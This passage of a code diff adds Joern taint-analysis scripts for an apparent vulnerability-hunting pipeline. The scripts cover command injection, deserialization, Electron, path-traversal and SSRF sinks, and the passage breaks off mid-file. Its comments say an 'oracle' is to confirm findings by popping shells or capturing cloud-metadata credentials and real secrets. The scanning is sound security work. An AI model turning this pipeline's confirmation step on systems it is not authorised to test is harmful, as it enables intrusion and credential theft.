| + | def scan(cls: String, sinkRe: String): Unit = { | |
| + | emitCands(cls, cpg.call.name(sinkRe).l) | |
| + | emit(s"$cls<-input", cpg.call.name(sinkRe).argument.reachableByFlows(srcCalls).l) | |
| + | emit(s"$cls<-argv", cpg.call.name(sinkRe).argument.reachableByFlows(srcArgv).l) | |
| + | } | |
| + | ||
| + | // ---- sink classes -------------------------------------------------------- | |
| + | // Unbounded string copy/concat -> classic stack/heap overflow. | |
| + | scan("strcpy-overflow", "strcpy|strcatpy|strcat|stpcpy|wcscpy|wcscat|lstrcpyA|lstrcpyW|lstrcpy|lstrcatA|lstrcatW|lstrcat|StrCpy|StrCat") | |
| + | // memcpy/memmove with a tainted length or tainted src. | |
| + | scan("memcpy-overflow", "memcpy|memmove|bcopy|wmemcpy|wmemmove|CopyMemory|RtlCopyMemory") | |
| + | // Format-string sinks: tainted format arg -> %n write / overflow; sprintf -> buffer overflow. | |
| + | scan("format-overflow", "sprintf|vsprintf|swprintf|vswprintf|_snwprintf|wsprintfA|wsprintfW|wsprintf") | |
| + | // printf-family with tainted FORMAT string specifically (format string vuln, %n). | |
| + | scan("format-string", "printf|fprintf|vprintf|vfprintf|snprintf|vsnprintf|syslog|err|warn|errx|warnx") | |
| + | // gets / scanf-into-buffer. | |
| + | scan("gets-overflow", "gets|fgets_unlocked") | |
| + | // Allocator size arg from tainted input -> integer overflow -> undersized buffer (then write OOB). | |
| + | // NOTE: this flags the *allocation* whose size is tainted; the overflow write is a separate hop the | |
| + | // oracle must observe. Coarse but high-value for the model-file/parser class. | |
| + | scan("intoverflow-alloc","malloc|calloc|realloc|reallocarray|alloca|valloc|aligned_alloc|memalign|xmalloc|xcalloc|xrealloc|g_malloc|g_realloc|OPENSSL_malloc") | |
| + | ||
| + | // Array-index OOB approximation: tainted value flowing into an index operator. Joern models | |
| + | // `a[i]` as <operator>.indirectIndexAccess / .computedMemberAccess. Lower confidence. | |
| + | { | |
| + | val cls = "array-index-oob" | |
| + | def idx = cpg.call.name("<operator>.(indirectIndexAccess|computedMemberAccess|indexAccess)") | |
| + | println(s"CANDIDATE_SINKS[$cls]=${idx.size}") | |
| + | emit(s"$cls<-input", idx.argument.reachableByFlows(srcCalls).l) | |
| + | emit(s"$cls<-argv", idx.argument.reachableByFlows(srcArgv).l) | |
| + | } | |
| + | ||
| + | println("SCAN_COMPLETE[c-memory-corruption]") | |
| + | } |
| @@ -0,0 +1,89 @@ | ||
| + | // command-injection.sc | |
| + | // Cyclops v2 - novelty brain / Joern dataflow pass | |
| + | // SINK CLASS: OS command / code injection -> RCE (SEVERITY-GATE Family 1). | |
| + | // TARGET ARCHETYPES: devops-infra, ai-agent-mcp, cicd-supplychain, electron-desktop. | |
| + | // | |
| + | // Covers Python (os.system / subprocess / popen), JS/Node (child_process / eval / Function), | |
| + | // Java (Runtime.exec / ProcessBuilder), C (system / popen / execve family), and dynamic eval. | |
| + | // | |
| + | // FINDING = tainted data reaches a command/exec/eval sink. SOURCE_CONFIRMED only. The oracle must | |
| + | // land command output / a callback (SEVERITY-GATE F1 trap: "command string built from user input" | |
| + | // is a hypothesis; the injected command's OUTPUT is the finding). | |
| + | // | |
| + | // INVOKE: joern --script command-injection.sc --param inputPath=/abs/path/to/src | |
| + | // | |
| + | // shell=True NOTE: subprocess.run/Popen are only injectable with shell=True (or a shell string). | |
| + | // Joern cannot cheaply read the keyword arg's value across versions, so we (a) flag ALL subprocess | |
| + | // sinks as candidates and (b) add a refinement that checks for a literal `True`/`"True"` argument | |
| + | // near the call. Treat subprocess FINDINGs without a confirmed shell=True as lower confidence. | |
| + | ||
| + | import io.joern.dataflowengineoss.language._ | |
| + | import io.joern.dataflowengineoss.queryengine.EngineContext | |
| + | import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode} | |
| + | ||
| + | @main def exec(inputPath: String, projectName: String = "cyclops_cmdi"): Unit = { | |
| + | importCode(inputPath = inputPath, projectName = projectName) | |
| + | implicit val ctx: EngineContext = EngineContext() | |
| + | ||
| + | def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110) | |
| + | def loc(n: AstNode): String = { | |
| + | val ln = n.location.lineNumber.map(_.toString).getOrElse("?") | |
| + | s"${n.location.filename}:$ln" | |
| + | } | |
| + | def emit(cls: String, flows: List[Path]): Unit = { | |
| + | flows.foreach { p => | |
| + | val s = p.elements.head; val k = p.elements.last | |
| + | println(s"FINDING: ${loc(k)} class=$cls source=${clean(s.code)} sink=${clean(k.code)}") | |
| + | } | |
| + | println(s"DATAFLOW_PATHS[$cls]=${flows.size}") | |
| + | } | |
| + | def emitCands(cls: String, calls: List[Call]): Unit = { | |
| + | calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}")) | |
| + | println(s"CANDIDATE_SINKS[$cls]=${calls.size}") | |
| + | } | |
| + | ||
| + | // untrusted sources: web request data, CLI args, env, stdin, network, MCP tool args. | |
| + | val SRC = "(?i)(recv|recvfrom|read|readline|stdin|input|get_data|get_json|args|form|files|" + | |
| + | "values|cookies|environ|argv|getenv|body|content|raw|params|query|headers|" + | |
| + | "arguments|tool_input|request)" | |
| + | def srcIO = cpg.call.name(SRC).argument | |
| + | def srcParams = cpg.method.name("(?i)(handle.*|on_.*|run|exec.*|main|route.*|post|get|tool.*)").parameter | |
| + | ||
| + | def scan(cls: String, nameRe: String, codeRe: String): Unit = { | |
| + | def sinks = (cpg.call.name(nameRe) ++ cpg.call.code(codeRe)).dedup | |
| + | emitCands(cls, sinks.l) | |
| + | emit(s"$cls<-io", sinks.argument.reachableByFlows(srcIO).l) | |
| + | emit(s"$cls<-params", sinks.argument.reachableByFlows(srcParams).l) | |
| + | } | |
| + | ||
| + | // ---- Python ---- | |
| + | scan("py-os-system", "system|popen|posix_spawn|posix_spawnp", ".*os\\s*\\.\\s*(system|popen|posix_spawn).*") | |
| + | scan("py-subprocess", "call|run|Popen|check_call|check_output|getoutput|getstatusoutput", ".*subprocess\\s*\\.\\s*(call|run|Popen|check_call|check_output|getoutput).*") | |
| + | scan("py-os-exec", "execl|execle|execlp|execv|execve|execvp|execvpe|spawnl|spawnv", ".*os\\s*\\.\\s*(execl|execv|spawn).*") | |
| + | scan("py-eval", "eval|exec|compile|__import__", ".*\\b(eval|exec)\\s*\\(.*") | |
| + | ||
| + | // ---- JS / Node ---- | |
| + | scan("js-childproc", "exec|execSync|execFile|execFileSync|spawn|spawnSync|fork", ".*child_process.*\\.(exec|spawn|execFile|fork).*") | |
| + | scan("js-eval", "eval|Function", ".*\\b(eval|new Function)\\s*\\(.*") | |
| + | scan("js-vm", "runInThisContext|runInNewContext|runInContext|compileFunction", ".*vm\\s*\\.\\s*runIn.*") | |
| + | ||
| + | // ---- Java ---- | |
| + | scan("java-runtime", "exec|command|start", ".*Runtime.*exec.*|.*ProcessBuilder.*") | |
| + | scan("java-scripteng", "eval", ".*ScriptEngine.*eval.*") | |
| + | scan("java-groovy", "evaluate|parseClass", ".*GroovyShell.*evaluate.*") | |
| + | ||
| + | // ---- C/C++ ---- | |
| + | scan("c-system", "system|popen|execl|execlp|execle|execv|execvp|execvpe|execve|posix_spawn|wsystem|_wsystem", ".*\\bsystem\\s*\\(.*") | |
| + | ||
| + | // ---- subprocess shell=True refinement (Python): candidate calls that also carry a True arg. ---- | |
| + | { | |
| + | val cls = "py-subprocess-shelltrue" | |
| + | def shellish = cpg.call.name("call|run|Popen|check_call|check_output") | |
| + | .where(_.argument.code("(?i).*(True|'sh'|\"sh\"|/bin/sh|shell=True).*")) | |
| + | shellish.l.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}")) | |
| + | println(s"CANDIDATE_SINKS[$cls]=${shellish.size}") | |
| + | emit(s"$cls<-io", shellish.argument.reachableByFlows(srcIO).l) | |
| + | } | |
| + | ||
| + | println("SCAN_COMPLETE[command-injection]") | |
| + | } |
| @@ -0,0 +1,88 @@ | ||
| + | // deserialization-rce.sc | |
| + | // Cyclops v2 - novelty brain / Joern dataflow pass | |
| + | // SINK CLASS: untrusted deserialization -> RCE (SEVERITY-GATE Family 1). | |
| + | // TARGET ARCHETYPES: ml-model-loaders (torch.load / joblib / pickle), ai-agent-mcp, devops-infra. | |
| + | // | |
| + | // Covers Python (pickle/yaml/marshal/joblib/torch/dill/numpy), Java (ObjectInputStream), and | |
| + | // JS (node-serialize / funcster). `importCode` auto-detects the language of inputPath; sink names | |
| + | // that do not exist in that language simply yield zero candidates. | |
| + | // | |
| + | // FINDING = a reachable taint path to the deserializer. This is SOURCE_CONFIRMED only. The oracle | |
| + | // must execute a real gadget chain (a popped shell / callback) to promote it (SEVERITY-GATE F1 trap: | |
| + | // "the deserializer accepts our object" is NOT RCE). | |
| + | // | |
| + | // INVOKE: | |
| + | // joern --script deserialization-rce.sc --param inputPath=/abs/path/to/src | |
| + | // | |
| + | // PYTHON LIMITATION: Joern's Python frontend models `pickle.loads(x)` as a call whose .name is the | |
| + | // method ("loads") under a fieldAccess on the `pickle` identifier; dynamic dispatch / aliasing | |
| + | // (`from pickle import loads as L`) can hide the receiver. We therefore match BOTH the bare method | |
| + | // name AND the full call .code (regex), and we always print CANDIDATE_SINK even when no flow proves, | |
| + | // so the semgrep fast-pass + manual review still see the sink. | |
| + | ||
| + | import io.joern.dataflowengineoss.language._ | |
| + | import io.joern.dataflowengineoss.queryengine.EngineContext | |
| + | import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode} | |
| + | ||
| + | @main def exec(inputPath: String, projectName: String = "cyclops_deser"): Unit = { | |
| + | importCode(inputPath = inputPath, projectName = projectName) | |
| + | implicit val ctx: EngineContext = EngineContext() | |
| + | ||
| + | def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110) | |
| + | def loc(n: AstNode): String = { | |
| + | val ln = n.location.lineNumber.map(_.toString).getOrElse("?") | |
| + | s"${n.location.filename}:$ln" | |
| + | } | |
| + | def emit(cls: String, flows: List[Path]): Unit = { | |
| + | flows.foreach { p => | |
| + | val s = p.elements.head; val k = p.elements.last | |
| + | println(s"FINDING: ${loc(k)} class=$cls source=${clean(s.code)} sink=${clean(k.code)}") | |
| + | } | |
| + | println(s"DATAFLOW_PATHS[$cls]=${flows.size}") | |
| + | } | |
| + | ||
| + | def emitCands(cls: String, calls: List[Call]): Unit = { | |
| + | calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}")) | |
| + | println(s"CANDIDATE_SINKS[$cls]=${calls.size}") | |
| + | } | |
| + | ||
| + | // ---- untrusted sources (web / IO / CLI). To target library code as the attack surface (model | |
| + | // loaders take a path/bytes parameter), uncomment srcParams below - it over-approximates. ---- | |
| + | val SRC = "(?i)(recv|recvfrom|read|readline|readlines|loads|stdin|input|getvalue|" + | |
| + | "get_data|get_json|args|form|files|values|cookies|environ|argv|body|content|raw)" | |
| + | def srcIO = cpg.call.name(SRC).argument | |
| + | // def srcParams = cpg.method.parameter // library-as-target mode (noisier, see README) | |
| + | def srcParams = cpg.method.name("(?i)(load|loads|read|parse|deserialize|from_.*|handle|main)").parameter | |
| + | ||
| + | // sinks located by method name OR by full-call code (catches dotted/aliased receivers). | |
| + | // `def` (not `val`) so each reference yields a FRESH single-use traversal. | |
| + | def scan(cls: String, nameRe: String, codeRe: String): Unit = { | |
| + | def sinks = (cpg.call.name(nameRe) ++ cpg.call.code(codeRe)).dedup | |
| + | emitCands(cls, sinks.l) | |
| + | emit(s"$cls<-io", sinks.argument.reachableByFlows(srcIO).l) | |
| + | emit(s"$cls<-params", sinks.argument.reachableByFlows(srcParams).l) | |
| + | } | |
| + | ||
| + | // ---- Python ---- | |
| + | scan("py-pickle", "loads|load", ".*(pickle|cPickle|_pickle|dill|cloudpickle)\\s*\\.\\s*loads?\\b.*") | |
| + | scan("py-yaml", "load|unsafe_load|full_load", ".*yaml\\s*\\.\\s*(load|unsafe_load|full_load)\\b.*") | |
| + | scan("py-marshal", "loads|load", ".*marshal\\s*\\.\\s*loads?\\b.*") | |
| + | scan("py-joblib", "load", ".*joblib\\s*\\.\\s*load\\b.*") | |
| + | scan("py-torch", "load", ".*torch\\s*\\.\\s*load\\b.*") | |
| + | scan("py-numpy", "load|loadtxt|fromfile", ".*numpy\\s*\\.\\s*load\\b.*|.*np\\s*\\.\\s*load\\b.*") // allow_pickle=True is the danger | |
| + | scan("py-pandas", "read_pickle", ".*read_pickle\\b.*") | |
| + | scan("py-shelve", "open", ".*shelve\\s*\\.\\s*open\\b.*") | |
| + | scan("py-reduce", "__reduce__|__reduce_ex__|__setstate__", ".*__reduce__.*") | |
| + | ||
| + | // ---- Java/JVM ---- | |
| + | scan("java-ois", "readObject|readUnshared|readExternal", ".*ObjectInputStream.*readObject.*") | |
| + | scan("java-xstream","fromXML", ".*XStream.*fromXML.*") | |
| + | scan("java-snakeyaml","load|loadAs", ".*(Yaml|SnakeYaml).*load.*") | |
| + | scan("java-kryo", "readClassAndObject|readObject", ".*Kryo.*read.*") | |
| + | ||
| + | // ---- JavaScript / Node ---- | |
| + | scan("js-nodeserialize","unserialize|deserialize", ".*(node-serialize|serialize)\\s*\\.\\s*unserialize.*") | |
| + | scan("js-funcster", "deepDeserialize|deserialize", ".*funcster.*") | |
| + | ||
| + | println("SCAN_COMPLETE[deserialization-rce]") | |
| + | } |
| @@ -0,0 +1,96 @@ | ||
| + | // js-electron-rce.sc | |
| + | // Cyclops v2 - novelty brain / Joern dataflow pass | |
| + | // SINK CLASS: Electron renderer->main RCE (SEVERITY-GATE Family 1). | |
| + | // TARGET ARCHETYPE: electron-desktop. | |
| + | // | |
| + | // The Electron threat model: the renderer is attacker-influenced (loads remote content / handles | |
| + | // untrusted files). Anything the renderer can send over IPC, or via a custom protocol handler, is | |
| + | // untrusted. If that reaches a Node sink in the MAIN process (child_process / eval / Function / | |
| + | // shell.openExternal / webContents.executeJavaScript / loadURL), it is renderer->main RCE. | |
| + | // | |
| + | // Sources modeled: | |
| + | // (1) parameters of the callback registered with ipcMain.handle/on/handleOnce/once | |
| + | // (the (event, ...args) the renderer controls). | |
| + | // (2) parameters of custom protocol handlers (protocol.registerFileProtocol / handle / | |
| + | // setAsDefaultProtocolClient deep-link args). | |
| + | // (3) fallback: all function/closure parameters (over-approx; see README). | |
| + | // Sinks: child_process.*, eval/Function, shell.openExternal, executeJavaScript, loadURL, require. | |
| + | // | |
| + | // FINDING = renderer-controlled data reaches a main-process exec/eval/nav sink. SOURCE_CONFIRMED | |
| + | // only - the oracle must land command output / a callback. nodeIntegration:true + a DOM sink is a | |
| + | // CONFIG candidate (printed), not a dataflow finding by itself. | |
| + | // | |
| + | // INVOKE: joern --script js-electron-rce.sc --param inputPath=/abs/path/to/electron-app | |
| + | // | |
| + | // LIMITATION: Joern's JS frontend resolves MethodRef callbacks well for named functions but can | |
| + | // miss inline arrow callbacks in some versions; (3) is the safety net. contextIsolation/sandbox | |
| + | // settings are not modeled - treat preload-exposed APIs as additional renderer-reachable sources. | |
| + | ||
| + | import io.joern.dataflowengineoss.language._ | |
| + | import io.joern.dataflowengineoss.queryengine.EngineContext | |
| + | import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode} | |
| + | ||
| + | @main def exec(inputPath: String, projectName: String = "cyclops_electron"): Unit = { | |
| + | importCode(inputPath = inputPath, projectName = projectName) | |
| + | implicit val ctx: EngineContext = EngineContext() | |
| + | ||
| + | def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110) | |
| + | def loc(n: AstNode): String = { | |
| + | val ln = n.location.lineNumber.map(_.toString).getOrElse("?") | |
| + | s"${n.location.filename}:$ln" | |
| + | } | |
| + | def emit(cls: String, flows: List[Path]): Unit = { | |
| + | flows.foreach { p => | |
| + | val s = p.elements.head; val k = p.elements.last | |
| + | println(s"FINDING: ${loc(k)} class=$cls source=${clean(s.code)} sink=${clean(k.code)}") | |
| + | } | |
| + | println(s"DATAFLOW_PATHS[$cls]=${flows.size}") | |
| + | } | |
| + | def emitCands(cls: String, calls: List[Call]): Unit = { | |
| + | calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}")) | |
| + | println(s"CANDIDATE_SINKS[$cls]=${calls.size}") | |
| + | } | |
| + | ||
| + | // ---- sources ------------------------------------------------------------- | |
| + | // (1) ipc handler callback params (renderer-controlled). MethodRef-resolved. | |
| + | def srcIpcRef = cpg.call.code(".*ipcMain\\s*\\.\\s*(handle|on|handleOnce|once)\\b.*") | |
| + | .argument.isMethodRef.referencedMethod.parameter | |
| + | // (2) custom protocol / deep-link handler callback params. | |
| + | def srcProto = cpg.call.code(".*(registerFileProtocol|registerHttpProtocol|registerStringProtocol|protocol\\.handle|setAsDefaultProtocolClient|second-instance|open-url).*") | |
| + | .argument.isMethodRef.referencedMethod.parameter | |
| + | // (3) fallback: every function/closure parameter (over-approximation safety net). | |
| + | def srcAllParams = cpg.method.parameter | |
| + | ||
| + | // ---- sinks --------------------------------------------------------------- | |
| + | def childProc = cpg.call.code(".*child_process.*\\.(exec|execSync|execFile|execFileSync|spawn|spawnSync|fork)\\b.*") | |
| + | ++ cpg.call.name("exec|execSync|execFile|spawn|spawnSync|fork") | |
| + | def evalSink = cpg.call.name("eval|Function") ++ cpg.call.code(".*new\\s+Function\\s*\\(.*") | |
| + | def shellOpen = cpg.call.code(".*shell\\s*\\.\\s*openExternal\\b.*") ++ cpg.call.code(".*shell\\s*\\.\\s*openPath\\b.*") | |
| + | def execJs = cpg.call.code(".*webContents.*executeJavaScript\\b.*") ++ cpg.call.code(".*\\.executeJavaScript\\s*\\(.*") | |
| + | def loadUrl = cpg.call.code(".*\\.loadURL\\s*\\(.*") ++ cpg.call.code(".*\\.loadFile\\s*\\(.*") | |
| + | def reqSink = cpg.call.name("require") // dynamic require(tainted) -> arbitrary module load | |
| + | ||
| + | def scan(cls: String, sinks: => Iterator[Call]): Unit = { | |
| + | // `sinks` is by-name: each reference below re-evaluates it into a FRESH single-use traversal. | |
| + | emitCands(cls, sinks.dedup.l) | |
| + | emit(s"$cls<-ipc", sinks.dedup.argument.reachableByFlows(srcIpcRef).l) | |
| + | emit(s"$cls<-proto", sinks.dedup.argument.reachableByFlows(srcProto).l) | |
| + | emit(s"$cls<-anyparam", sinks.dedup.argument.reachableByFlows(srcAllParams).l) | |
| + | } | |
| + | ||
| + | scan("electron-childproc", childProc) | |
| + | scan("electron-eval", evalSink) | |
| + | scan("electron-shellopen", shellOpen) | |
| + | scan("electron-execjs", execJs) | |
| + | scan("electron-loadurl", loadUrl) | |
| + | scan("electron-require", reqSink) | |
| + | ||
| + | // ---- config candidates (NOT dataflow findings; flag for review) ---------- | |
| + | { | |
| + | val cfg = cpg.call.code(".*(nodeIntegration\\s*:\\s*true|contextIsolation\\s*:\\s*false|webSecurity\\s*:\\s*false|sandbox\\s*:\\s*false|allowRunningInsecureContent\\s*:\\s*true).*").l | |
| + | cfg.foreach(c => println(s"CONFIG_CANDIDATE: ${loc(c)} class=electron-unsafe-webprefs code=${clean(c.code)}")) | |
| + | println(s"CONFIG_CANDIDATES[electron-unsafe-webprefs]=${cfg.size}") | |
| + | } | |
| + | ||
| + | println("SCAN_COMPLETE[js-electron-rce]") | |
| + | } |
| @@ -0,0 +1,78 @@ | ||
| + | // path-traversal.sc | |
| + | // Cyclops v2 - novelty brain / Joern dataflow pass | |
| + | // SINK CLASS: path traversal / arbitrary file read+write / zip-slip (SEVERITY-GATE Family 7). | |
| + | // TARGET ARCHETYPES: devops-infra, ml-model-loaders, ai-agent-mcp, electron-desktop. | |
| + | // | |
| + | // Covers: tainted path -> open/read/sendfile without normalization, and archive-extract zip-slip | |
| + | // (extractall / tar extract) where an entry name controls the write path. | |
| + | // | |
| + | // FINDING = tainted path component reaches a filesystem sink. SOURCE_CONFIRMED only. The oracle must | |
| + | // retrieve a real secret's CONTENTS (or land a write that executes) - per SEVERITY-GATE F7, | |
| + | // "traversal reads /etc/passwd" is a primitive demo, a real secret is the impact. | |
| + | // | |
| + | // INVOKE: joern --script path-traversal.sc --param inputPath=/abs/path/to/src | |
| + | // | |
| + | // NORMALIZATION NOTE: a flow that passes through realpath/os.path.normpath/canonicalize + an | |
| + | // allowlist check may be safe. Joern cannot judge the check's correctness; we emit the flow as a | |
| + | // hypothesis and let the oracle attempt `../` escape. Flows with NO normalization on the path are | |
| + | // higher confidence - review the printed path elements. | |
| + | ||
| + | import io.joern.dataflowengineoss.language._ | |
| + | import io.joern.dataflowengineoss.queryengine.EngineContext | |
| + | import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode} | |
| + | ||
| + | @main def exec(inputPath: String, projectName: String = "cyclops_pathtrav"): Unit = { | |
| + | importCode(inputPath = inputPath, projectName = projectName) | |
| + | implicit val ctx: EngineContext = EngineContext() | |
| + | ||
| + | def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110) | |
| + | def loc(n: AstNode): String = { | |
| + | val ln = n.location.lineNumber.map(_.toString).getOrElse("?") | |
| + | s"${n.location.filename}:$ln" | |
| + | } | |
| + | def emit(cls: String, flows: List[Path]): Unit = { | |
| + | flows.foreach { p => | |
| + | val s = p.elements.head; val k = p.elements.last | |
| + | println(s"FINDING: ${loc(k)} class=$cls source=${clean(s.code)} sink=${clean(k.code)}") | |
| + | } | |
| + | println(s"DATAFLOW_PATHS[$cls]=${flows.size}") | |
| + | } | |
| + | def emitCands(cls: String, calls: List[Call]): Unit = { | |
| + | calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}")) | |
| + | println(s"CANDIDATE_SINKS[$cls]=${calls.size}") | |
| + | } | |
| + | ||
| + | val SRC = "(?i)(recv|read|readline|stdin|input|get_data|get_json|args|form|files|values|" + | |
| + | "cookies|environ|argv|getenv|body|content|params|query|headers|filename|path|" + | |
| + | "secure_filename|arguments|tool_input)" | |
| + | def srcIO = cpg.call.name(SRC).argument | |
| + | def srcParams = cpg.method.name("(?i)(handle.*|on_.*|download|upload|read.*|serve.*|get|post|route.*|sendfile|extract.*)").parameter | |
| + | ||
| + | def scan(cls: String, nameRe: String, codeRe: String): Unit = { | |
| + | def sinks = (cpg.call.name(nameRe) ++ cpg.call.code(codeRe)).dedup | |
| + | emitCands(cls, sinks.l) | |
| + | emit(s"$cls<-io", sinks.argument.reachableByFlows(srcIO).l) | |
| + | emit(s"$cls<-params", sinks.argument.reachableByFlows(srcParams).l) | |
| + | } | |
| + | ||
| + | // ---- Python ---- | |
| + | scan("py-open", "open|io.open", ".*\\bopen\\s*\\(.*") | |
| + | scan("py-os-file", "remove|unlink|rename|chmod|chown|mkdir|rmdir|listdir|stat|readlink", ".*os\\s*\\.\\s*(remove|unlink|rename|open|readlink|listdir).*") | |
| + | scan("py-send-file", "send_file|send_from_directory|FileResponse|sendfile", ".*send_file.*|.*send_from_directory.*") | |
| + | scan("py-zipslip", "extract|extractall", ".*(zipfile|tarfile|ZipFile|TarFile).*extract(all)?.*") | |
| + | scan("py-shutil", "copy|copyfile|copytree|move|make_archive", ".*shutil\\s*\\.\\s*(copy|move|copyfile).*") | |
| + | ||
| + | // ---- JS / Node ---- | |
| + | scan("js-fs", "readFile|readFileSync|createReadStream|writeFile|writeFileSync|createWriteStream|unlink|readdir|open", ".*fs\\s*\\.\\s*(readFile|writeFile|createReadStream|createWriteStream|unlink|open).*") | |
| + | scan("js-sendfile", "sendFile|download|sendfile", ".*res\\s*\\.\\s*(sendFile|download).*") | |
| + | scan("js-pathjoin", "join|resolve", ".*path\\s*\\.\\s*(join|resolve).*") // tainted join often precedes the fs sink | |
| + | ||
| + | // ---- Java ---- | |
| + | scan("java-file", "File|FileInputStream|FileReader|FileOutputStream|getResourceAsStream|newInputStream|copy|readAllBytes", ".*new\\s+File\\s*\\(.*|.*Files\\.(copy|readAllBytes|newInputStream).*") | |
| + | scan("java-zipslip", "getNextEntry|getName|resolve", ".*ZipEntry.*getName.*") | |
| + | ||
| + | // ---- C/C++ ---- | |
| + | scan("c-fopen", "fopen|open|openat|open64|fopen64|freopen|creat|access|stat|unlink|remove|rename", ".*\\bfopen\\s*\\(.*|.*\\bopen\\s*\\(.*") | |
| + | ||
| + | println("SCAN_COMPLETE[path-traversal]") | |
| + | } |
| @@ -0,0 +1,77 @@ | ||
| + | // ssrf.sc | |
| + | // Cyclops v2 - novelty brain / Joern dataflow pass | |
| + | // SINK CLASS: Server-Side Request Forgery (SEVERITY-GATE Family 7). | |
| + | // TARGET ARCHETYPES: ai-agent-mcp (tool fetches a URL), devops-infra, ml-model-loaders (remote | |
| + | // model/dataset download), cicd-supplychain. | |
| + | // | |
| + | // Covers tainted URL/host -> HTTP client (requests / urllib / axios / fetch / node http / Java | |
| + | // HttpClient / curl) with no host allowlist. | |
| + | // | |
| + | // FINDING = tainted URL reaches an outbound-request sink. SOURCE_CONFIRMED only. Per SEVERITY-GATE | |
| + | // F7, a BARE outbound/DNS callback is blind-SSRF reachability - NOT a finding. The oracle must | |
| + | // terminate in impact: cloud metadata credential captured (169.254.169.254 / metadata.google / | |
| + | // 100.100.100.200), an internal-admin action, or SSRF->RCE. We tag flows whose URL string mentions | |
| + | // a metadata/internal host as `metadata-reachable` (higher priority for the oracle). | |
| + | // | |
| + | // INVOKE: joern --script ssrf.sc --param inputPath=/abs/path/to/src | |
| + | ||
| + | import io.joern.dataflowengineoss.language._ | |
| + | import io.joern.dataflowengineoss.queryengine.EngineContext | |
| + | import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode} | |
| + | ||
| + | @main def exec(inputPath: String, projectName: String = "cyclops_ssrf"): Unit = { | |
| + | importCode(inputPath = inputPath, projectName = projectName) | |
| + | implicit val ctx: EngineContext = EngineContext() | |
| + | ||
| + | def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110) | |
| + | def loc(n: AstNode): String = { | |
| + | val ln = n.location.lineNumber.map(_.toString).getOrElse("?") | |
| + | s"${n.location.filename}:$ln" | |
| + | } | |
| + | def emit(cls: String, flows: List[Path]): Unit = { | |
| + | flows.foreach { p => | |
| + | val s = p.elements.head; val k = p.elements.last | |
| + | // Priority tag if any element references a metadata/internal endpoint. | |
| + | val joined = p.elements.map(_.code).mkString(" ") | |
| + | val meta = if (joined.matches("(?s).*(169\\.254\\.169\\.254|metadata\\.google|metadata\\.azure|100\\.100\\.100\\.200|localhost|127\\.0\\.0\\.1|0\\.0\\.0\\.0|::1|169\\.254|internal).*")) " [metadata-reachable]" else "" | |
| + | println(s"FINDING: ${loc(k)} class=$cls$meta source=${clean(s.code)} sink=${clean(k.code)}") | |
| + | } | |
| + | println(s"DATAFLOW_PATHS[$cls]=${flows.size}") | |
| + | } | |
| + | def emitCands(cls: String, calls: List[Call]): Unit = { | |
| + | calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}")) | |
| + | println(s"CANDIDATE_SINKS[$cls]=${calls.size}") | |
| + | } | |
| + | ||
| + | val SRC = "(?i)(recv|read|stdin|input|get_data|get_json|args|form|values|cookies|environ|argv|" + | |
| + | "getenv|body|content|params|query|headers|url|uri|host|endpoint|target|arguments|tool_input)" | |
| + | def srcIO = cpg.call.name(SRC).argument | |
| + | def srcParams = cpg.method.name("(?i)(handle.*|on_.*|fetch.*|download.*|proxy.*|get|post|route.*|webhook.*|tool.*|load.*)").parameter | |
| + | ||
| + | def scan(cls: String, nameRe: String, codeRe: String): Unit = { | |
| + | def sinks = (cpg.call.name(nameRe) ++ cpg.call.code(codeRe)).dedup | |
| + | emitCands(cls, sinks.l) | |
| + | emit(s"$cls<-io", sinks.argument.reachableByFlows(srcIO).l) | |
| + | emit(s"$cls<-params", sinks.argument.reachableByFlows(srcParams).l) | |
| + | } | |
| + | ||
| + | // ---- Python ---- | |
| + | scan("py-requests", "get|post|put|patch|delete|head|request|Session", ".*requests\\s*\\.\\s*(get|post|put|request|head|Session).*") | |
| + | scan("py-urllib", "urlopen|urlretrieve|Request", ".*urllib.*\\.(urlopen|urlretrieve|Request).*|.*urlopen\\s*\\(.*") | |
| + | scan("py-httpx", "get|post|request|stream|Client", ".*(httpx|aiohttp)\\s*\\.\\s*(get|post|request).*") | |
| + | scan("py-urllib3", "request|urlopen|PoolManager", ".*urllib3.*request.*") | |
| + | ||
| + | // ---- JS / Node ---- | |
| + | scan("js-axios", "get|post|put|patch|delete|request|axios", ".*axios\\s*[\\.(].*|.*axios\\s*\\.\\s*(get|post|request).*") | |
| + | scan("js-fetch", "fetch", ".*\\bfetch\\s*\\(.*") | |
| + | scan("js-nodehttp", "get|request", ".*(http|https)\\s*\\.\\s*(get|request).*") | |
| + | scan("js-got", "get|post|stream|got", ".*\\bgot\\s*[\\.(].*|.*request\\s*\\(.*") | |
| + | ||
| + | // ---- Java ---- | |
| + | scan("java-http", "openConnection|newCall|send|execute|GET|build", ".*(URL|HttpClient|HttpRequest|OkHttpClient|RestTemplate).*") | |
| + | ||
| + | // ---- C/C++ (libcurl) ---- | |
| + | scan("c-curl", "curl_easy_setopt|curl_easy_perform", ".*curl_easy_(setopt|perform).*") | |
| + | ||
| + | println("SCAN_COMPLETE[ssrf]") | |
| + | } |
| @@ -0,0 +1,76 @@ | ||
| + | // template-injection.sc | |
| + | // Cyclops v2 - novelty brain / Joern dataflow pass | |
| + | // SINK CLASS: Server-Side Template Injection (SSTI) -> RCE (SEVERITY-GATE Family 1). | |
| + | // TARGET ARCHETYPES: ai-agent-mcp (LLM output rendered as a template), devops-infra, electron-desktop. | |
| + | // | |
| + | // Covers tainted string -> template COMPILE/RENDER-FROM-STRING sinks: Flask/Jinja2 | |
